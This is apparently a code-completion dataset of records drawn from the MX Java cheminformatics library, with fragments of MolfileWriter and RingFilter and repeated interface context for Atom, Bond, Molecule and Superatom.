//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/io/mdl/MolfileWriter.java
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.util.List;
import java.util.ArrayList;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.io.mdl;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class MolfileWriter
{
private static String ZERO2 = " 0";
private static String ZERO3 = " 0";
private static String CHIRAL_OFF = ZERO3;
private static String VERSION = " V2000";
private static String NEWLINE = "\n";
private static DecimalFormat COORD = new DecimalFormat("####0.0000");
private static String BLANK = " ";
private static String M = "M ";
private static String M_END = M + "END";
static
{
DecimalFormatSymbols symbols = new DecimalFormatSymbols();
symbols.setDecimalSeparator(".".charAt(0));
COORD.setDecimalFormatSymbols(symbols);
}
public MolfileWriter()
{
}
| public String write(Molecule molecule) |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/MolfileWriter.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
| import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.util.List;
import java.util.ArrayList; | writer.writeLine(" CHEMWRIT 2D");
}
private void writeComments(Molecule molecule, Writer writer)
{
writer.writeLine("Created with MX - http://rapodaca.github.com/mx");
}
private void writeCounts(Molecule molecule, Writer writer)
{
writer.write(MDLStringKit.padLeft(String.valueOf(molecule.countAtoms()), 3));
writer.write(MDLStringKit.padLeft(String.valueOf(molecule.countBonds()), 3));
writer.write(ZERO3);
writer.write(ZERO3);
writer.write(CHIRAL_OFF);
for (int i = 0; i < 5; i++)
{
writer.write(ZERO3);
}
writer.write(MDLStringKit.padLeft(String.valueOf(0), 3));
writer.write(VERSION);
writer.write(NEWLINE);
}
private void writeAtoms(Molecule molecule, Writer writer)
{
for (int i = 0; i < molecule.countAtoms(); i++)
{ | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/io/mdl/MolfileWriter.java
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.util.List;
import java.util.ArrayList;
writer.writeLine(" CHEMWRIT 2D");
}
private void writeComments(Molecule molecule, Writer writer)
{
writer.writeLine("Created with MX - http://rapodaca.github.com/mx");
}
private void writeCounts(Molecule molecule, Writer writer)
{
writer.write(MDLStringKit.padLeft(String.valueOf(molecule.countAtoms()), 3));
writer.write(MDLStringKit.padLeft(String.valueOf(molecule.countBonds()), 3));
writer.write(ZERO3);
writer.write(ZERO3);
writer.write(CHIRAL_OFF);
for (int i = 0; i < 5; i++)
{
writer.write(ZERO3);
}
writer.write(MDLStringKit.padLeft(String.valueOf(0), 3));
writer.write(VERSION);
writer.write(NEWLINE);
}
private void writeAtoms(Molecule molecule, Writer writer)
{
for (int i = 0; i < molecule.countAtoms(); i++)
{ | Atom atom = molecule.getAtom(i); |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/MolfileWriter.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
| import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.util.List;
import java.util.ArrayList; | break;
case 3:
chargeString = "1";
break;
case -1:
chargeString = "5";
break;
case -2:
chargeString = "6";
break;
case -3:
chargeString = "7";
break;
}
writer.write(MDLStringKit.padLeft(chargeString, 3));
for (int j = 0; j < 10; j++)
{
writer.write(ZERO3);
}
writer.writeLine();
}
}
private void writeBonds(Molecule molecule, Writer writer)
{
for (int i = 0; i < molecule.countBonds(); i++)
{ | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/io/mdl/MolfileWriter.java
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.util.List;
import java.util.ArrayList;
break;
case 3:
chargeString = "1";
break;
case -1:
chargeString = "5";
break;
case -2:
chargeString = "6";
break;
case -3:
chargeString = "7";
break;
}
writer.write(MDLStringKit.padLeft(chargeString, 3));
for (int j = 0; j < 10; j++)
{
writer.write(ZERO3);
}
writer.writeLine();
}
}
private void writeBonds(Molecule molecule, Writer writer)
{
for (int i = 0; i < molecule.countBonds(); i++)
{ | Bond bond = molecule.getBond(i); |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/MolfileWriter.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
| import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.util.List;
import java.util.ArrayList; | {
writeSgroupCount(molecule, writer);
for (int i = 0; i < molecule.countSuperatoms(); i++)
{
writeSingleSgroup(molecule.getSuperatom(i), writer);
}
}
}
private void writeSgroupCount(Molecule molecule, Writer writer)
{
int substructureCount = molecule.countSuperatoms();
writer.write(M + "STY" + MDLStringKit.padLeft(String.valueOf(substructureCount), 3));
for (int i = 0; i < substructureCount; i++)
{
writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4));
writer.write(MDLStringKit.padLeft("SUP", 4));
}
writer.writeLine();
writer.write(M + "SLB" + MDLStringKit.padLeft(String.valueOf(substructureCount), 3));
for (int i = 0; i < substructureCount; i++)
{
writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4));
writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4));
}
writer.writeLine();
}
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/io/mdl/MolfileWriter.java
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.util.List;
import java.util.ArrayList;
{
writeSgroupCount(molecule, writer);
for (int i = 0; i < molecule.countSuperatoms(); i++)
{
writeSingleSgroup(molecule.getSuperatom(i), writer);
}
}
}
private void writeSgroupCount(Molecule molecule, Writer writer)
{
int substructureCount = molecule.countSuperatoms();
writer.write(M + "STY" + MDLStringKit.padLeft(String.valueOf(substructureCount), 3));
for (int i = 0; i < substructureCount; i++)
{
writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4));
writer.write(MDLStringKit.padLeft("SUP", 4));
}
writer.writeLine();
writer.write(M + "SLB" + MDLStringKit.padLeft(String.valueOf(substructureCount), 3));
for (int i = 0; i < substructureCount; i++)
{
writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4));
writer.write(MDLStringKit.padLeft(String.valueOf(i + 1), 4));
}
writer.writeLine();
}
| private void writeSingleSgroup(Superatom substructure, Writer writer) |
metamolecular/mx | src/com/metamolecular/mx/ring/RingFilter.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/query/AtomMatcher.java
// public interface AtomMatcher
// {
// boolean matches(Atom atom);
// }
| import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.query.AtomMatcher;
import java.util.ArrayList; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class RingFilter
{
private RingFinder ringFinder;
private Comparator comparator; | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
